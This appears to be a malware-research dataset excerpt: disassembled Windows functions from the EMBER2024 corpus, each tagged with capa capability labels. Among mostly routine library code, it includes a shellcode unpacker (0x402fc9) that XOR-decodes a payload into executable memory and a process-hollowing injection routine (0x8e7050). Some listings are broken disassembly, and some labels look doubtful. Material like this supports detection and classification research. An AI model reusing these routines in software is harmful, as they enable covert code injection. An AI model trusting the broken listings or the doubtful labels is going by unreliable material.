joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ecb7
Capabilities:
Parse pe header

Disassembly:
push 0x14
push 0x42cbe8
call fcn.00413cc0
call fcn.004113da
movzx esi, ax
push 2
call fcn.004178b7
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x40eb6e
xor ebx, ebx
jmp 0x40eba1
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40eb6a
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40eb6a
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x40eba1
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004142b1
test eax, eax
jne 0x40ebb5
push 0x1c
call fcn.0040ec90
pop ecx
call fcn.00417509
test eax, eax
jne 0x40ebc6
push 0x10
call fcn.0040ec90
pop ecx
call fcn.0041799e
and dword [ebp - 4], 0
call fcn.004161fb
test eax, eax
jns 0x40ebe0
push 0x1b
call fcn.0040ec90
pop ecx
call dword [0x425108]
mov dword [0x4322d4], eax
call fcn.004179de
mov dword [0x431390], eax
call fcn.0041759c
test eax, eax
jns 0x40ec06
push 8
call fcn.004139df
pop ecx
call fcn.004177d5
test eax, eax
jns 0x40ec17
push 9
call fcn.004139df
pop ecx
push 1
call fcn.00413a19
pop ecx
test eax, eax
je 0x40ec2a
push eax
call fcn.004139df
pop ecx
call fcn.00417a39
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x40ec4c
push esi
call fcn.00413c75
call fcn.00413a0a
jmp 0x40ec81
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00413d05
ret
call fcn.00417904
jmp 0x40eb40

Function at 0x411be8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
mov eax, ebx
push esi
sub eax, 0
je 0x4132d7
dec eax
je 0xfe7932c6
invalid
inc ecx
call 0xc77a9a1d
and byte [eax], 0xff
jne 0x413217
push 0x2080c739
push dword [ebp - 8]
push 6
push 0x208ef7ed
push 2
mov eax, 4
mov ebx, 0xf3413f0
call 0xe47dbe08
push eax
mov ebx, 0x208eeb35
call 0xe47fa3a8
mov edx, dword [esp]
mov ecx, 0x209d7181
push eax
push 0x48
call 0xe480fb68
mov esi, dword [ebp - 4]
mov ebx, 0x208eded5
call 0xe47fa3a8
mov edx, dword [esp]
mov ecx, 0x1561d021
push eax
push 0x4c
call 0xe480fb68
mov esi, dword [ebp - 4]
mov ebx, 0x208edc61
call 0xe47fa3a8
mov edx, dword [esp]
mov ecx, 0x2080c7dd
push eax
push 0x50
call 0xe480fb68
mov esi, dword [ebp - 4]
mov edx, 0x44
mov edi, dword [esp + 0xc]
mov eax, 2
call 0xe47eafc8
mov esi, dword [ebp - 4]
add esp, 4
mov eax, 0x3e841a1
mov ebx, 0x208ef86d
sub dword [ebx + 3], 0x5e
jns 0x4132cb
push eax
call 0xe4831988
pop eax
mov ebx, 0x208ef86d
mov dword [ebx + 3], 0x3000
leave
ret 4
je 0x4132e2
jmp 0x413214
sub ecx, 4
mov dword [ecx], edi
mov dword [eax + edx*8 + 0x86d240f], esp
pop es
sbb al, 8
invalid
Function at 0x41e120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor eax, eax
mov edx, eax
and edx, 1
dec edx
not edx
and edx, 0xedb88320
mov ecx, eax
shr ecx, 1
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov dword [eax*4 + 0x10045960], ecx
inc eax
cmp eax, 0x100
jb 0x41e122
cmp eax, 0x800
jae 0x41e1f3
mov edi, edi
mov edx, dword [eax*4 + 0x10045560]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x10045960]
inc eax
mov dword [eax*4 + 0x1004595c], edx
cmp eax, 0x800
jb 0x41e1d0
mov dword [0x10044660], 0x10001240
call fcn.00423aa0
mov ecx, dword [0x10044660]
mov edx, 0x100012e0
test eax, eax
cmove ecx, edx
mov dword [0x10044660], ecx
ret
Function at 0x4238c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax]
sub esp, 0x10
and eax, 7
push ebx
xor ebx, ebx
cmp ecx, 5
jae 0x4238e0
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
add dword [ebp + 0x10], 5
push esi
mov esi, dword [ebp + 8]
push edi
lea edx, [ecx - 4]
or edi, 0xffffffff
add edx, esi
mov dword [ebp + 0xc], edx
add esi, ebx
mov dword [ebp - 4], esi
cmp esi, edx
jae 0x423912
lea ecx, [ecx]
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x42390f
inc esi
cmp esi, edx
jb 0x423900
mov dword [ebp - 4], esi
mov ebx, esi
sub ebx, dword [ebp + 8]
mov ecx, ebx
sub ecx, edi
cmp esi, edx
jae 0x423a37
cmp ecx, 3
jbe 0x42392c
xor eax, eax
jmp 0x42396a
dec ecx
shl eax, cl
and eax, 7
je 0x42396a
movzx ecx, byte [eax + 0x10038328]
mov edx, esi
sub edx, ecx
cmp byte [eax + 0x10038320], 0
mov cl, byte [edx + 4]
je 0x423954
test cl, cl
je 0x423954
cmp cl, 0xff
jne 0x423967
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
and eax, 3
add eax, eax
mov edi, ebx
or eax, 1
inc ebx
jmp 0x4238f4
mov edx, dword [ebp + 0xc]
mov cl, byte [esi + 4]
mov edi, ebx
mov dword [ebp - 0x10], edi
test cl, cl
je 0x42398c
cmp cl, 0xff
je 0x42398c
mov esi, dword [ebp + 8]
and eax, 3
add eax, eax
or eax, 1
inc ebx
jmp 0x4238f4
movzx edi, cl
movzx ecx, byte [esi + 3]
shl edi, 8
or edi, ecx
movzx ecx, byte [esi + 2]
shl edi, 8
or edi, ecx
movzx ecx, byte [esi + 1]
mov esi, dword [ebp + 0x10]
shl edi, 8
or edi, ecx
lea ecx, [ecx]
cmp dword [ebp + 0x18], 0
je 0x4239bd
lea edx, [edi + ebx]
add edx, esi
jmp 0x4239c3
mov edx, edi
sub edx, ebx
sub edx, esi
test eax, eax
je 0x423a01
movzx edi, byte [eax + 0x10038328]
shl edi, 3
mov ecx, 0x18
sub ecx, edi
mov dword [ebp - 0xc], edi
mov edi, edx
shr edi, cl
mov ecx, edi
mov dword [ebp - 8], edi
test cl, cl
je 0x4239ed
cmp cl, 0xff
jne 0x423a01
mov ecx, 0x20
sub ecx, dword [ebp - 0xc]
mov edi, 1
shl edi, cl
dec edi
xor edi, edx
jmp 0x4239b0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x10]
mov ecx, edx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, edx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, edx
shr ecx, 8
mov byte [esi + 1], dl
mov edx, dword [ebp + 0xc]
mov byte [esi + 2], cl
mov esi, dword [ebp + 8]
add ebx, 5
jmp 0x4238f4
pop edi
pop esi
cmp ecx, 3
jbe 0x423a4c
mov ecx, dword [ebp + 0x14]
xor eax, eax
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
dec ecx
shl eax, cl
mov ecx, dword [ebp + 0x14]
and eax, 7
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
test esi, esi
je 0x40179b
mov edx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x401784
pop edi
mov eax, edx
pop esi
pop ebp
ret
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret

Function at 0x403cf0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x403d21
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x403d10
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x4096b1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4096f0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4096f0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4096f0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4096f0
cmp dword [ecx + 0x74], 0xe
jbe 0x4096f0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40b0ac
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40b0cd
jl 0x40b0c4
test edi, edi
jne 0x40b0cd
xor eax, eax
xor edx, edx
jmp 0x40b18e
cmp dword [ebx + 0x38], 0
je 0x40b0e2
push eax
push edi
push dword [ebp + 8]
call fcn.0040b194
jmp 0x40b18e
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40b129
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40b129
cmp eax, edi
jb 0x40b103
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00421e90
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40b12f
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40b183
mov ecx, ebx
call fcn.0040a94d
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40b16e
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0042a7be
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40b183
jmp 0x40b141
test edx, edx
je 0x40b183
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0042a7be
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x40b283
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40b2a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040b368
jmp 0x40b363
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x40b2cb
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x40b2d0
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov eax, ecx
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x40b330
jg 0x40b2e5
test esi, esi
je 0x40b330
test ecx, ecx
jl 0x40b32b
jg 0x40b2ef
test eax, eax
je 0x40b32b
cmp edi, ecx
jg 0x40b301
jl 0x40b2f9
cmp esi, eax
jae 0x40b301
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.00421e90
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov edx, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [ebp - 8]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x40b333
mov ecx, dword [ebp + 8]
jmp 0x40b33d
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x40b357
jg 0x40b33d
test esi, esi
je 0x40b357
cmp dword [ebx + 0x4c], 0
je 0x40b357
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0042ae10
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x420f7b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.00429727
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x420fba
sub eax, 1
je 0x420fb5
sub eax, 1
je 0x420fb1
xor eax, eax
leave
ret
push 3
jmp 0x420fbc
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x439b48
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004399be

Function at 0x43fd80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43fdad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43fdad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x402fc9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x402fd8
pop dword [ebp - 0x2c]
mov eax, 0x402fd8
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xfab14a08
sub dword [ebp - 0x3c], 0xac5f04bd
mov dword [ebp - 0x38], 0xc88f0c93
sub dword [ebp - 0x38], 0x965bc04e
mov dword [ebp - 0x34], 0x549988db
add dword [ebp - 0x34], 0xf7b2bb53
mov dword [ebp - 0x30], 0xd59353a0
add dword [ebp - 0x30], 0x2a6cac60
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x694b4cc2
sub dword [ebp - 0x3c], 0xf4d8e36c
mov dword [ebp - 0x38], 0x35a3e856
sub dword [ebp - 0x38], 0xf43786e1
mov dword [ebp - 0x34], 0xe922b2c7
add dword [ebp - 0x34], 0x7a4cb9a5
mov dword [ebp - 0x30], 0xbe43192d
sub dword [ebp - 0x30], 0xbe43192d
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xe17872cb
add eax, 0x1ec85d81
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x369a3
push 0
call eax
mov ecx, 0x3c54
mov edi, eax
mov ebx, 0x607b19a8
sub ebx, 0x603969a8
add ebx, dword [ebp - 0x2c]
mov edx, 0x7a3b5362
sub edx, 0x5a8446c9
add dword [ebp - 0x28], 0x2ef5c4a3
mov esi, dword [ebx]
add dword [ebp - 0xc], edx
xor esi, edx
add dword [ebp - 8], 0x11606783
mov dword [edi], esi
mov dword [ebp - 0xc], 0x9513f210
add edi, 4
add ebx, 4
loop 0x4030ea
add eax, 0xe423
mov ebx, eax
add eax, 0x3cc859b5
sub eax, 0x3cc859b0
mov ecx, 0xa3282ce1
sub ecx, 0xa2e82ce1
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x8e4940
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x928cb0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x942014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x943074
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.008f7f00
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x942a8c
push eax
call fcn.008f7f00
mov esi, dword [0x943084]
xor ebx, ebx
mov edi, dword [0x943088]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x9462d0], bl
mov eax, ebx
mov ecx, 0x943074
cmovae ecx, dword [0x943074]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x9463e0], al
inc ebx
cmp ebx, 0x100
jl 0x8e49c0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x9462d0]
movzx eax, byte [esi + 0x9463e0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x8e4a14
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x9462d0]
mov byte [esi + 0x9462d0], al
inc esi
mov byte [edi + 0x9462d0], dl
cmp esi, 0x100
jl 0x8e49f0
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.008e4590
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x8e4a69
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x8e4a5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x8e4abf
push edx
push ecx
call fcn.008fd569
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x8e4aab
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x8e4aa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x8e4abf
push edx
push ecx
call fcn.008fd569
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00916b7a
int3
Function at 0x8e7050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x942014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x470992
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x8e7239
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x8e7239
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00914000
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x320826
nop
test eax, eax
je 0x8e7239
push 4
push 0x1000
push 4
push 0
call 0x4701cd
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x320153
nop
test eax, eax
je 0x8e7239
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x938d48
push dword [esp + 0x30]
call 0x470a24
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x8e715c
push 0x938d4c
push 0x938d64
call 0x3e0d30
nop
push eax
call 0x320331
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x3203ee
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x8e7239
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x4708a0
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x8e71f3
mov dword [esp + 0xc], eax
call fcn.008e6ea0
push eax
call 0x3e0bcc
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x4708a0
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x8e71a2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x4708a0
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x320ba8
nop
push dword [esp + 0x24]
call 0x3e0ddb
nop
push 0x8000
push 0
push esi
call 0x4707cb
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.008fcef4
mov esp, ebp
pop ebp
ret
Function at 0x405590
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00405320
Function at 0x407180
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x4071a5
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x4071bd
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x4071ec
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x40722e
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x407302
sub edx, 0x10000
js 0x407302
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x407214
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x407214
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x407285
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x407282
add edx, 8
jne 0x407269
jmp 0x4072f3
add edx, 4
test eax, 0xffff
jne 0x407292
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x4072f3
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x4072c6
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x407214
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x407302
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x407214
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x407313
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x407380
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0x4078f0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
mov ebx, dword [esp + 0x10]
push ebx
push eax
push ecx
call fcn.004073c0
add esp, 0xc
test eax, eax
js 0x407b38
mov edx, dword [ebx + 0xf0]
add edx, edx
push esi
add edx, edx
xor esi, esi
push edi
test edx, edx
jle 0x40796d
lea ecx, [ebx + edx*4 + 8]
lea eax, [ebx + 8]
push ebp
lea ebx, [ebx]
mov ebp, dword [ecx - 8]
mov edi, dword [eax - 8]
mov dword [eax - 8], ebp
mov ebp, dword [ecx - 4]
mov dword [ecx - 8], edi
mov edi, dword [eax - 4]
mov dword [eax - 4], ebp
mov ebp, dword [ecx]
mov dword [ecx - 4], edi
mov edi, dword [eax]
mov dword [eax], ebp
mov ebp, dword [ecx + 4]
mov dword [ecx], edi
mov edi, dword [eax + 4]
mov dword [eax + 4], ebp
mov dword [ecx + 4], edi
add esi, 4
sub edx, 4
add eax, 0x10
sub ecx, 0x10
cmp esi, edx
jl 0x407930
pop ebp
mov edx, 1
cmp dword [ebx + 0xf0], edx
jle 0x407b34
lea eax, [ebx + 2]
mov ecx, dword [eax + 0xe]
movzx edi, byte [eax + 0xf]
mov edi, dword [edi*4 + 0x454eb8]
add eax, 0x10
mov esi, ecx
shr esi, 0x18
mov esi, dword [esi*4 + 0x454eb8]
and esi, 0xff
mov esi, dword [esi*4 + 0x455ab8]
and edi, 0xff
xor esi, dword [edi*4 + 0x4562b8]
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x454eb8]
and ecx, 0xff
xor esi, dword [ecx*4 + 0x4566b8]
movzx ecx, byte [eax]
mov ecx, dword [ecx*4 + 0x454eb8]
movzx edi, byte [eax + 3]
and ecx, 0xff
xor esi, dword [ecx*4 + 0x455eb8]
mov ecx, dword [eax + 2]
mov dword [eax - 2], esi
mov edi, dword [edi*4 + 0x454eb8]
mov esi, ecx
shr esi, 0x18
mov esi, dword [esi*4 + 0x454eb8]
and esi, 0xff
mov esi, dword [esi*4 + 0x455ab8]
and edi, 0xff
xor esi, dword [edi*4 + 0x4562b8]
movzx edi, byte [eax + 4]
mov edi, dword [edi*4 + 0x454eb8]
and edi, 0xff
xor esi, dword [edi*4 + 0x455eb8]
movzx edi, byte [eax + 7]
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x454eb8]
and ecx, 0xff
xor esi, dword [ecx*4 + 0x4566b8]
mov ecx, dword [eax + 6]
mov dword [eax + 2], esi
mov edi, dword [edi*4 + 0x454eb8]
mov esi, ecx
shr esi, 0x18
mov esi, dword [esi*4 + 0x454eb8]
and esi, 0xff
mov esi, dword [esi*4 + 0x455ab8]
and edi, 0xff
xor esi, dword [edi*4 + 0x4562b8]
movzx edi, byte [eax + 8]
mov edi, dword [edi*4 + 0x454eb8]
and edi, 0xff
xor esi, dword [edi*4 + 0x455eb8]
movzx edi, byte [eax + 0xb]
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x454eb8]
and ecx, 0xff
xor esi, dword [ecx*4 + 0x4566b8]
mov ecx, dword [eax + 0xa]
mov dword [eax + 6], esi
